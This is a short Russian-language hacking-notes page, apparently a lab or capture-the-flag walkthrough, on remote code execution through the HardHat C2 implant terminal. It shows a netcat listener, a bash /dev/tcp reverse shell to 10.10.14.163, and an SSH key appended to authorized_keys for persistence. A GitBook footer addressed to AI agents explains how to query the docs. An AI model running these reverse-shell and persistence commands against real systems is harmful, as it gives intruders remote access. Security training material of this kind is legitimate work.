> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).

# HardHat C2 — удаленное выполнение кода (RCE)

<figure><img src="/files/ed3f3a1cf6aef02731063d6dd3ed1f925685f557" alt=""><figcaption></figcaption></figure>

###

В `ImplantInteract`, доступ к терминалу доступен. Выполнение `whoami` показывает, что текущий пользователь — `сергей`.

<figure><img src="/files/719aec9ecdcb51aea986b3d64f8b7751e04e04e5" alt=""><figcaption></figcaption></figure>

Запустите слушатель на порту 443, чтобы установить обратную оболочку от имени `сергей`:

```bash
nc -nlvp 443
```

Выполните следующую команду, чтобы установить обратное соединение:

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

После подключения добавьте SSH-ключ в `authorized_keys` для более простого повторного подключения:

<figure><img src="/files/51d7ec0149b285d6c62b3a9eb8b5e0f51488cc00" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
